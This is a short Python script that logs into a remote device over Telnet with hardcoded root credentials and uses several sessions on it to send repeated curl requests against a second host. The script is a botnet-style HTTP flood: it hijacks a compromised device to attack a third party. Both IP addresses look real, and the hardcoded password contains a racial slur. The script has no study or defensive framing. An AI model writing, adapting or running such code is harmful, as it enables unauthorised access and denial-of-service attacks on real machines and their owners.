import socket, time, threading

def connect_dev(ip, port, user, passwd):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(6)
    s.connect((ip, port))
    time.sleep(1)
    data = s.recv(4096).decode(errors="ignore")
    if "login" in data.lower():
        s.send((user+"\r\n").encode())
        time.sleep(1)
        data = s.recv(4096).decode(errors="ignore")
    if "password" in data.lower():
        s.send((passwd+"\r\n").encode())
        time.sleep(2)
        data = s.recv(4096).decode(errors="ignore")
    try: s.recv(65536)
    except: pass
    return s

def flood_dev(ip, port, user, passwd, target, dport, duration):
    count = 0
    conns = []
    for i in range(5):
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(5)
            s.connect((ip, port))
            time.sleep(1)
            data = s.recv(4096).decode(errors="ignore")
            if "login" in data.lower():
                s.send((user+"\r\n").encode())
                time.sleep(1)
                data = s.recv(4096).decode(errors="ignore")
            if "password" in data.lower():
                s.send((passwd+"\r\n").encode())
                time.sleep(2)
                data = s.recv(4096).decode(errors="ignore")
            try: s.recv(65536)
            except: pass
            # Check if curl works
            s.send(("curl -s http://" + target + ":" + str(dport) + "/ > /dev/null 2>&1 &\r\n").encode())
            time.sleep(1)
            try: s.recv(4096)
            except: pass
            conns.append(s)
        except:
            pass
    
    if not conns:
        return 0, 0
    
    start = time.time()
    cmd = ("curl -s http://" + target + ":" + str(dport) + "/ > /dev/null 2>&1 &\r\n").encode()
    while time.time() - start < duration:
        for s in conns:
            try:
                for _ in range(5):
                    s.send(cmd)
                    count += 1
            except:
                pass
    
    for s in conns:
        try: s.close()
        except: pass
    
    return count, len(conns)

# Test on 103.75.116.88
target = "167.148.195.3"
dport = 80
duration = 10

total = 0
ok_conns = 0

count, nc = flood_dev("103.75.116.88", 23, "root", "niggerson123", target, dport, duration)
total += count
ok_conns += nc
print("103.75.116.88: cmds=" + str(count) + " conns=" + str(nc))

with open("/tmp/r6.txt","w") as f:
    f.write("RESULT " + str(total) + " cmds from " + str(ok_conns) + " connections in " + str(duration) + "s\n")
    f.write("RATE " + str(total/duration) + " cmds/sec\n")
